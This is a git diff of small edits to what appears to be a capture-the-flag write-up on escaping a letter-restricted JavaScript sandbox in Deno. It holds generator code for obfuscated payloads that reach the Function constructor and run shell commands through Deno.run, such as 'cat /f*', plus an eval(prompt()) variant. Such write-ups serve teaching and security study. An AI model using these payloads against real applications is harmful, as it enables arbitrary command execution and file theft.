nits
This commit is contained in:
parent
5fe47ab7ed
commit
177152d03a
|
|
@ -149,7 +149,7 @@ let con = 'constructor'
|
||||||
eval(`_=${str_src};` + con);
|
eval(`_=${str_src};` + con);
|
||||||
```
|
```
|
||||||
|
|
||||||
While this works in Node.js, Deno throws an `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters.
|
While this works in Node.js, Deno throws a `ReferenceError`. This is because Deno runs in strict mode, which requires us to declare `_` before assigning to it. However, we cannot use any of the keywords to declare a variable as they require us to use letters.
|
||||||
|
|
||||||
We cannot overwrite an existing variable either, as there aren't any without letters. We can note that `_` is already defined when running a REPL, but that does not help us since the challenge is not run in one.
|
We cannot overwrite an existing variable either, as there aren't any without letters. We can note that `_` is already defined when running a REPL, but that does not help us since the challenge is not run in one.
|
||||||
|
|
||||||
|
|
@ -204,10 +204,10 @@ function encode(s, source, var_name='_') {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
if (t) result.push(`"${t}"`);
|
if (t) result.push(`"${t}"`);
|
||||||
return result.join('+')
|
return result.join('+');
|
||||||
}
|
}
|
||||||
// over the course of the iife, we will concatenate various strings to the first argument
|
// over the course of the iife, we will concatenate various strings to the first argument
|
||||||
let args = "''+!1+!0+{}+0[0]"
|
let args = "''+!1+!0+{}+0[0]";
|
||||||
let src1 = eval(args);
|
let src1 = eval(args);
|
||||||
let src2 = src1 + String;
|
let src2 = src1 + String;
|
||||||
let src3 = src2 + '6p';
|
let src3 = src2 + '6p';
|
||||||
|
|
@ -230,13 +230,13 @@ let body = [
|
||||||
`_+=$_($)+0[$$]`,
|
`_+=$_($)+0[$$]`,
|
||||||
// Function("Deno.run({cmd:['ls','/']})")()
|
// Function("Deno.run({cmd:['ls','/']})")()
|
||||||
`$(${encode("Deno.run({cmd:['ls','/']})", src4)})()`
|
`$(${encode("Deno.run({cmd:['ls','/']})", src4)})()`
|
||||||
].join(',')
|
].join(',');
|
||||||
// 328 characters
|
// 328 characters
|
||||||
let payload = `((_,$,$$)=>(${body}))(${args})`;
|
let payload = `((_,$,$$)=>(${body}))(${args})`;
|
||||||
console.log(payload)
|
console.log(payload);
|
||||||
```
|
```
|
||||||
|
|
||||||
We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret cmd as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `{cmd:['sh','-c','od /*']}`, which is over the limit.
|
We can execute `ls /`, but we can't do much more than that. We obviously do not have enough characters to use the full name of the flag. Additionally, `Deno.run` does not interpret `cmd` as a shell command, so trying something like `od /*` will try to read the file named `/*` instead of globbing all files in `/`. For that, we would need to use `sh -c "od /*"`, which is over the limit.
|
||||||
|
|
||||||
We need to rethink our approach. After a lot of trial and error, I eventually turned my attention to the `btoa` builtin function (binary string to base64 ascii). My immediate idea was to find a string that would contain `D` in its base64, to avoid getting `escape` (and `p` and `String`).
|
We need to rethink our approach. After a lot of trial and error, I eventually turned my attention to the `btoa` builtin function (binary string to base64 ascii). My immediate idea was to find a string that would contain `D` in its base64, to avoid getting `escape` (and `p` and `String`).
|
||||||
|
|
||||||
|
|
@ -266,17 +266,17 @@ If we notice that `btoa` is implemented in JavaScript instead of native code tho
|
||||||
This alone contains all of the characters we need, simplifying our payload dramatically:
|
This alone contains all of the characters we need, simplifying our payload dramatically:
|
||||||
|
|
||||||
```js
|
```js
|
||||||
let args = "''+!1+!0+{}+0[0]"
|
let args = "''+!1+!0+{}+0[0]";
|
||||||
let src1 = eval(args);
|
let src1 = eval(args);
|
||||||
let src2 = '' + btoa;
|
let src2 = '' + btoa;
|
||||||
let body = [
|
let body = [
|
||||||
`$$=(_=>_)[${encode('constructor', src1)}]`,
|
`$$=(_=>_)[${encode('constructor', src1)}]`,
|
||||||
`$$(${encode("$=''+btoa", src1)})()`,
|
`$$(${encode("$=''+btoa", src1)})()`,
|
||||||
`$$(${encode("Deno.run({cmd:['sh','-c','cat /f*']})", src2, '$')})()`
|
`$$(${encode("Deno.run({cmd:['sh','-c','cat /f*']})", src2, '$')})()`
|
||||||
].join(',')
|
].join(',');
|
||||||
// 278 characters
|
// 278 characters
|
||||||
let payload = `((_,$$)=>(${body}))(${args})`
|
let payload = `((_,$$)=>(${body}))(${args})`;
|
||||||
console.log(payload)
|
console.log(payload);
|
||||||
```
|
```
|
||||||
|
|
||||||
Now we just send our payload to the challenge and get the flag:
|
Now we just send our payload to the challenge and get the flag:
|
||||||
|
|
@ -307,16 +307,16 @@ function octal(s) {
|
||||||
return "'" + s.split('').map(c => c.match(/[a-zA-Z]/)
|
return "'" + s.split('').map(c => c.match(/[a-zA-Z]/)
|
||||||
? '\\\\' + c.charCodeAt().toString(8)
|
? '\\\\' + c.charCodeAt().toString(8)
|
||||||
: c
|
: c
|
||||||
).join('') + "'"
|
).join('') + "'";
|
||||||
}
|
}
|
||||||
let args = "''+!1+!0+{}+0[0]"
|
let args = "''+!1+!0+{}+0[0]";
|
||||||
let src = eval(args);
|
let src = eval(args);
|
||||||
let body = [
|
let body = [
|
||||||
`_=(_=>_)[${encode('constructor', src)}]`,
|
`_=(_=>_)[${encode('constructor', src)}]`,
|
||||||
`_('_',"_(${octal("Deno.run({cmd:[`sh`,`-c`,`cat /f*`]})")})()")(_)`,
|
`_('_',"_(${octal("Deno.run({cmd:[`sh`,`-c`,`cat /f*`]})")})()")(_)`,
|
||||||
].join(',')
|
].join(',');
|
||||||
// 219 characters
|
// 219 characters
|
||||||
let payload = `(_=>(${body}))(${args})`
|
let payload = `(_=>(${body}))(${args})`;
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
@ -329,7 +329,7 @@ Looking over Deno's builtin functions, `prompt` does exactly what we want, takin
|
||||||
Therefore, we can just do `Function("eval(prompt())")()` and type in the rest of our payload with no restrictions. A solution using this technique is as follows:
|
Therefore, we can just do `Function("eval(prompt())")()` and type in the rest of our payload with no restrictions. A solution using this technique is as follows:
|
||||||
|
|
||||||
```js
|
```js
|
||||||
let args = "''+!1+!0+{}+0[0]"
|
let args = "''+!1+!0+{}+0[0]";
|
||||||
let src1 = eval(args);
|
let src1 = eval(args);
|
||||||
let src2 = src1 + String + Number;
|
let src2 = src1 + String + Number;
|
||||||
let src3 = src2 + '6p';
|
let src3 = src2 + '6p';
|
||||||
|
|
@ -337,7 +337,7 @@ let body = [
|
||||||
`_+=_[$=${encode('constructor', src1)}]+0[$]`,
|
`_+=_[$=${encode('constructor', src1)}]+0[$]`,
|
||||||
`_+=211[${encode('toString', src2)}](31)`,
|
`_+=211[${encode('toString', src2)}](31)`,
|
||||||
`_[$][$](${encode('eval(prompt())', src3)})()`
|
`_[$][$](${encode('eval(prompt())', src3)})()`
|
||||||
].join(',')
|
].join(',');
|
||||||
// 236 characters
|
// 236 characters
|
||||||
let payload = `((_,$)=>(${body}))(${args})`;
|
let payload = `((_,$)=>(${body}))(${args})`;
|
||||||
```
|
```
|
||||||
|
|
@ -345,8 +345,8 @@ let payload = `((_,$)=>(${body}))(${args})`;
|
||||||
Testing this locally, we see that this does in fact work:
|
Testing this locally, we see that this does in fact work:
|
||||||
|
|
||||||
```console
|
```console
|
||||||
$ deno dist/app.t
|
$ deno dist/app.ts
|
||||||
Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+_[5]+_[10]+_[6]]+0[$],_+=211[_[5]+_[10]+_[42]+_[5]+_[6]+_[29]+_[25]+_[47]](31),_[$][$](_[4]+_[58]+_[1]+_[2]+"("+_[104]+_[6]+_[10]+_[79]+_[104]+_[5]+"())")()))(''+!1+!0+{}+0[0])
|
Enter your name: ((_,$)=>(_+=_[$=_[14]+_[10]+_[25]+_[3]+_[5]+_[6]+_[7]+_[14]+...
|
||||||
Prompt console.log('hiiiiiiiiiii')
|
Prompt console.log('hiiiiiiiiiii')
|
||||||
hiiiiiiiiiii
|
hiiiiiiiiiii
|
||||||
```
|
```
|
||||||
|
|
@ -384,9 +384,9 @@ This doesn't actually work though, since `Function` code is evaluated in the glo
|
||||||
|
|
||||||
### Improving solution reliability
|
### Improving solution reliability
|
||||||
|
|
||||||
If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating.
|
If you actually try running the solution, it probably won't print out anything on the first attempt. This is because ongoing subprocesses from `Deno.run` do not prevent the program from terminating, and our shell command doesn't have enough time to print to the screen before the program ends.
|
||||||
|
|
||||||
It took me about two hours after finding a working solution before I realized this was the issue. By chance, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate.
|
It took me about two hours after finding a working solution before I realized this was the issue. Eventually, I tried `sh -c ". /f* 2>&1"` which has a much higher success rate.
|
||||||
|
|
||||||
When executing `sh -c "cat /f*"`, Deno first needs to spawn `sh`, which then spawns `cat`. `.` is a shell builtin, preventing the second process spawn. This problem didn't show up for me in the unfixed challenge since I just ran `ls` and `cat` separately, without using `sh`.
|
When executing `sh -c "cat /f*"`, Deno first needs to spawn `sh`, which then spawns `cat`. `.` is a shell builtin, preventing the second process spawn. This problem didn't show up for me in the unfixed challenge since I just ran `ls` and `cat` separately, without using `sh`.
|
||||||
|
|
||||||
|
|
|
||||||
Loading…
Reference in a new issue